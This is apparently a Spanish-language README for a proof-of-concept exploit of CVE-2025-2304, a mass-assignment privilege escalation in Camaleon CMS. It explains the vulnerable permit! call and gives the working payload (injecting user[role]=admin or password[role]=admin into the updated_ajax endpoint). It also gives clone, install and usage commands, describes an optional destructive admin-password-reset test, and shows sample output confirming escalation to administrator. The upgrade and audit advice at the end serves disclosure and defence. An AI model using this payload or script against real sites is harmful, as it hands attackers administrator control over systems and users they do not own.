
Prueba de concepto para CVE-2025-2304 — crítica (CVSS 9.4) escalada de privilegios por asignación masiva en Camaleon CMS.
Una prueba de concepto (PoC) para CVE-2025-2304, una vulnerabilidad crítica de asignación masiva en Camaleon CMS que permite la escalada de privilegios de usuarios con pocos permisos a administradores.
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
CVE-2025-2304 es una vulnerabilidad crítica de asignación masiva en Camaleon CMS que existe en el método updated_ajax de UsersController. La vulnerabilidad se origina por el uso del peligroso método permit! de Rails, que permite que todos los parámetros pasen sin ningún filtro.
Esta PoC demuestra cómo un usuario autenticado con pocos privilegios puede escalar al rol de administrador inyectando parámetros no autorizados durante operaciones de cambio de contraseña.
Puntuación CVSS: 9.4 (Crítica)
El código vulnerable utiliza params.require(:user).permit! que acepta todos los parámetros suministrados por el usuario sin validación:
def updated_ajax
user_params = params.require(:user).permit! # ¡PELIGROSO!
current_user.update(user_params)
end
Un atacante puede inyectar parámetros adicionales como user[role]=admin junto a campos legítimos de cambio de contraseña, provocando que la aplicación actualice el rol del usuario a administrador.
Vector de Ataque:
/admin/users/{id}/updated_ajaxuser[role]=admin--no-password-field para la prueba más seguragit clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc
pip install -r requirements.txt
O instalar manualmente:
pip install requests beautifulsoup4
python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]
positional arguments:
target URL objetivo (ej. http://target.com)
required arguments:
-u, --username Nombre de usuario existente para autenticación
-p, --password Contraseña del usuario
optional arguments:
-h, --help Mostrar mensaje de ayuda y salir
-v, --verbose Salida detallada (mostrar todas las solicitudes)
--proxy PROXY Proxy HTTP para inspección de tráfico (ej. http://127.0.0.1:8080)
--no-password-field Probar explotación sin campos de contraseña (más seguro)
--skip-admin-test Omitir prueba destructiva de restablecimiento de contraseña de administrador
Probar con credenciales de usuario existentes conservando la contraseña:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123
Probar sin incluir campos de contraseña en el payload de explotación:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field
Enrutar el tráfico a través de Burp Suite para inspección manual:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080
Habilitar salida detallada mostrando todas las solicitudes y respuestas:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v
Probar solo la escalada de privilegios, omitir el restablecimiento de contraseña de administrador:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
============================================================
CVE-2025-2304 - Camaleon CMS Privilege Escalation PoC
Mass Assignment Vulnerability Tester
Author: d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================
[*] Target: http://target.com
[*] Username: testuser
[*] Password: **********
[*] Logging in as testuser...
[+] Successfully logged in
[*] Checking CMS version...
[*] Detected version: 2.9.0
[+] Version is VULNERABLE (< 2.9.1)
============================================================
[*] Testing CVE-2025-2304 Mass Assignment Vulnerability
============================================================
[*] Target User: testuser (ID: 7)
[*] Current Role: Client (client)
[*] Password will remain unchanged
[1/7] Testing: AJAX endpoint - user[role]
✗ Failed
[2/7] Testing: AJAX endpoint - password[role]
============================================================
[+] EXPLOITATION SUCCESSFUL!
============================================================
[+] Privilege Escalation: Client → Administrator
[+] Vulnerable Endpoint: /admin/users/7/updated_ajax
[+] Working Payload: {'password[role]': 'admin'}
[+] Password Unchanged: User can still login normally
[+] CVE-2025-2304 CONFIRMED!
[✓] CVE-2025-2304 VULNERABILITY CONFIRMED
| Versión | Estado |
|---|---|
| < 2.9.1 | ❌ Vulnerable |
| ≥ 2.9.1 | ✅ Corregido |
Específicamente vulnerables:
Actualizar a la versión 2.9.1 o posterior
gem update camaleon_cms
Auditar las Cuentas de Usuario
/users/*/updated_ajax